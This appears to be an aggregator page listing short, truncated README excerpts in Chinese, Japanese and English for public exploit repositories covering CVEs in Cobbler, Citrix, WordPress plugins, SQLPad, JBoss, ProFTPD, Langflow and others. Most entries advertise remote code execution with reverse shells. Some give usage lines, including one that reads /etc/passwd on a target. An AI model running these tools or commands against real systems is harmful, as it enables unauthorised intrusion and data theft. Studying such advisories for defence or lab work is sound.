CVE-2024-47533-PoC

CVE-2024-47533 – Cobbler XMLRPC 认证绕过 → 反向 Shell（未授权 RCE） 📌 摘要 本仓库包含 CVE-2024-47533 的 概念验证（PoC）漏洞利用代码 ， 该漏洞是 Cobbler XMLRPC API 中的一个严重认证绕过漏洞，可导致 未授权远程代码执行（RCE） 。 漏洞利用程序通过 XMLRPC API 的 login 方法缺陷绕过认证，并借助 backgroundimport 注入反向 Shell 命令。 ⚠️ 免责声明 此工具仅用于 教育、研究及授权的渗透测试 。 请 勿 在未拥有或未经明确书面许可的系统上使用。...

CVE-2024-29510

原始研究及POC代码：https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/ 注意：除执行的命令外，我未对POC做任何修改。全部功劳归功于 Codean Labs 的 Thomas Rinsma 的出色研究及POC。 本地场景 1. 封装在stager脚本中，用于下载并运行检查脚本以判断主机是否存在漏洞 2. 修改POC以下载并执行Python3反弹Shell 3. Stager和反弹Shell通过标准输入下载并执行 4. POC会在 /tmp...

CVE-2015-8351

gwollebuster 此脚本用于利用 WordPress 旧版插件 gwolle 的漏洞 使用方法: ./gwollebuster.py 第一个参数 = 安装了 gwolle 的 WordPress 目标 URL 第二个参数 = 你的 IP 第三个参数 = 用于反向 shell 的监听端口 示例: ./gwollebuster.py http://vulnpress.com/ 192.168.1.5 1234 此脚本将生成 PHP 反向 shell 脚本并绑定简易服务器， 因此你需要在第一个终端打开两个新终端并监听 netcat，然后使用 curl 命令发起请求，...

CVE-2024-52402

🚀 Exploit for CVE-2024-52402: WordPress Exclusive Content Password Protect Plugin -un -p 🛠️ Options...

CVE-2023-46818

CVE-2023-46818 PoC 这是由 Egidio Romano（又名 EgiX）在此处提供的 PoC 的 Python 实现。该漏洞利用工具将为您弹出一个 WebShell；如需获得完全交互式 shell，请执行一条命令并向自己发送一个反向 shell。 用法 root@kitploit: python exploit.py http://localhost username password 免责声明 本 PoC 的作者对任何人的行为不承担任何责任，请仅在 CTF 或演示中使用此漏洞利用工具。 — Vulner（又名 Abumalik）...

CVE-2022-0944_RCE_POC

CVE-2022-0944 SQLPad RCE CVE-2022-0944 の概念実証エクスプロイトで、攻撃者のPCへのリバースシェルを伴うRCEに至ります。 使用方法 root@kitploit: usage: script.py URL IP PORT positional arguments: URL URL to SQLPad IP Listener host address for reverse shell PORT Listener port for reverse shell 例: root@kitploit: trigger exploit ./script.py...

metasploitable2-vsftpd-exploitation

Metasploitable 2 - vsFTPd 2.3.4 エクスプロイトラボ 概要 このプロジェクトは、意図的に脆弱性を持たせたマシン Metasploitable 2 に対するペネトレーションテストのワークフローを示しています。 目的は、FTPサービスの既知の脆弱性を特定、悪用、分析し、最終的に rootレベルのアクセス を達成し、セキュリティへの影響を評価することでした。 ラボのセットアップ 攻撃マシン: Ubuntu 仮想マシン 対象マシン: Metasploitable 2 仮想マシン ネットワーク構成: ホストオンリーネットワーク 192.168.56.0/24...

CVE-2021-3156

CVE-2021-3156 はじめに このリポジトリは学習目的で作成されました。このプロジェクトには、sudo Baron Samedit脆弱性とそのエクスプロイトを学習するためのツールが含まれています。 Qualys Teamの脆弱性発見、Worawitと0xdevilの興味深い解説に感謝します。 使い方 Dockerディレクトリには、脆弱性の一部を学習するためのDockerコンテナが含まれています。 コンテナを起動するには make all を使用します。 rootとしてシェルを開くには make root を使用します。 ユーザーとしてシェルを開くには make user...

RemoteMouse-3.008-RCE

CVE-2021-35448 - Remote Mouse 利用工具 描述 此利用工具针对 Remote Mouse（原名 WiFi Mouse）应用程序中的 CVE-2021-35448 漏洞。 POC CVE-2021-35448.webm 使用方法 基本语法 root@kitploit: python3 CVE-2021-35448.py -t OPTIONS 选项 -t, --target：目标 IP 地址（必填） -p, --payload：自定义执行的命令 -r, --reverse：反向 Shell，格式为 IP:PORT -l, --http：本地 HTTP 服务器，格式...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics 1.7.3 - リモートコード実行エクスプロイト v2 Open Web Analytics 1.7.3 - RCE の実用的なエクスプロイト、pentestmonkey の PHP リバースシェル で拡張、キャッシュ内のユーザーが見つからない問題を修正。 元のエクスプロイトはこちらにあります。 使い方 攻撃マシンのIPアドレスとポートを php-reverse-shell.php ファイルに追加し、exploit.py を引数 -u（脆弱なターゲットURLを指定）で実行してください。 root@kitploit:...

CVE-2025-32579

⚠️ CVE-2025-32579 - Sync Posts 插件（WordPress）中的严重 RCE 漏洞 📦 影响版本：Sync Posts 🧨 CVSS 评分：9.9 严重 📁 CVSS 向量：CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🧠 漏洞概述 由 SoftClever Limited 开发的 Sync Posts WordPress 插件存在一个无限制文件上传 漏洞，该漏洞允许经过身份验证的攻击者 在服务器上上传并执行任意 PHP 文件 （例如 Web Shell）。 🔓 根本原因： 该插件接受一个返回 JSON 帖子的...

CVE-2019-19781

CVE-2019-19781 一个用于位于缓存之后的 Citrix 的 python3 CVE-2019-19781 利用程序。此版本接受 ''、'|'、'2&1' 等字符。 用法 root@kitploit: python3 CVE-2019-19781.py citrix.example.org 'cat /etc/passwd' 待办事项 如果响应中包含 Age 响应头，则重复请求。 连续模式 -c. 检测模式（获取 /vpn/../vpns/cfg/smb.conf）...

CVE-2022-3552

CVE-2022-3552 BoxBlilling の脆弱性を悪用するには、バージョンが "BoxBilling=4.22.1.5" であり、かつ 有効な管理画面の認証情報 を保持している必要があります。 上記の条件を満たしている場合、RCE を取得するための手順は以下の通りです。 Python 仮想環境を作成する Linux root@kitploit: python3 -m venv .venv root@kitploit: source .venv/bin/activate 次に、この pwntools ライブラリをインストールします。 root@kitploit: pip3...

jboss-autopwn-1

jboss-autopwn 在2010年BlackHat Europe上展示的JBoss Autopwn——该版本整合了CVE-2010-0738，即Minded Security发现的JBoss认证绕过VERB操控漏洞。 C. Papathanasiou 2010 介绍 该JBoss脚本在目标JBoss AS服务器上部署一个JSP shell。部署后，脚本利用其上传和执行命令的功能提供一个交互式会话。 功能包括： 多平台支持——已在Windows、Linux和Mac目标上测试 支持绑定shell和反向连接shell Windows目标的Meterpreter shell和VNC支持 安...

SQLPad-RCE-Exploit-CVE-2022-0944

How It Works: This PHP code is designed to exploit a Remote Code Execution RCE vulnerability in SQLPad , related to CVE-2022-0944. It works by injecting malicious code into the SQLPad application, forcing it to execute a system command that opens a reverse shell – a connection that grants the...

cve-2015-1538-1

包含一个Python脚本，用于生成利用‘stsc’漏洞（即CVE-2015-1538（1））的MP4文件。这是我报告的Stagefright库中最关键的漏洞之一。此漏洞利用的预期结果是获得媒体用户权限的反向Shell。正如我在Black Hat和DEF CON演讲中详细所述，该用户还能访问相当多的组，例如inet、audio、camera和mediadrm。这些组允许攻击者远程拍照或收听麦克风，而无需利用其他漏洞。 此漏洞利用存在一些注意事项。首先，它并非通用漏洞利用，仅在一款设备型号上测试通过。我的目标是运行Android 4.0.4且仅实现部分ASLR的Galaxy...

Prestashop-CVE-2024-34716

CSRF 和反向 Shell 攻击的利用脚本 该脚本自动化执行 CSRF（跨站请求伪造）攻击，将 PHP 反向 Shell 上传到目标 Web 服务器并执行它。反向 Shell 通过精心构造的 CSRF Payload 以 ZIP 文件形式传递，当特权用户与特定端点交互时触发。该脚本需要一个监听中的 Netcat 实例来捕获反向 Shell 连接。 目前似乎存在问题，稍后更新 要求 Netcat ：确保已安装 Netcat 并能够监听指定端口（默认：9001）。 Python 3 ：用于通过 HTTP 提供文件服务。 Curl 和 JQ ：用于获取和处理 HTTP 请求及 JSON 解析...

ProFTPD_CVE-2015-3306

m4ud ProFTPD 1.3.5 RCE エクスプロイト CVE : 2015-3306! root@kitploit: ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET,...

RCE-CVE-2025-3248

需认证的 CVE-2025-3248 Langflow 远程代码执行 该 Python 脚本利用 CVE-2025-3248 在易受攻击的系统上执行任意命令或生成反向 shell。 使用此漏洞利用需要身份认证 。 功能 已认证的命令执行： 在目标上运行任意系统命令。 反向 Shell： 向你的监听器生成反向 shell。 代理支持： 通过代理（例如 Burp Suite）转发请求。 环境要求 Python 3.x requests 库 使用以下命令安装依赖： root@kitploit: pip install requests 用法 root@kitploit: python3...

CVE-2020-35713

説明 Belkin LINKSYS RE6500 デバイス（バージョン 1.0.012.001 以前）では、リモート攻撃者が goform/setSysAdm ページに対してシェルメタ文字を使用して任意のコマンドを実行したり、新しいパスワードを設定したりすることが可能です。 使用方法 ステップ 1: cve-2020-35713.py ファイル内の IP アドレスをターゲットのアドレスに変更します。 ステップ 2: cve-2020-35713.py を実行してパスワードを変更します。 ステップ 3: ログインして確認します。...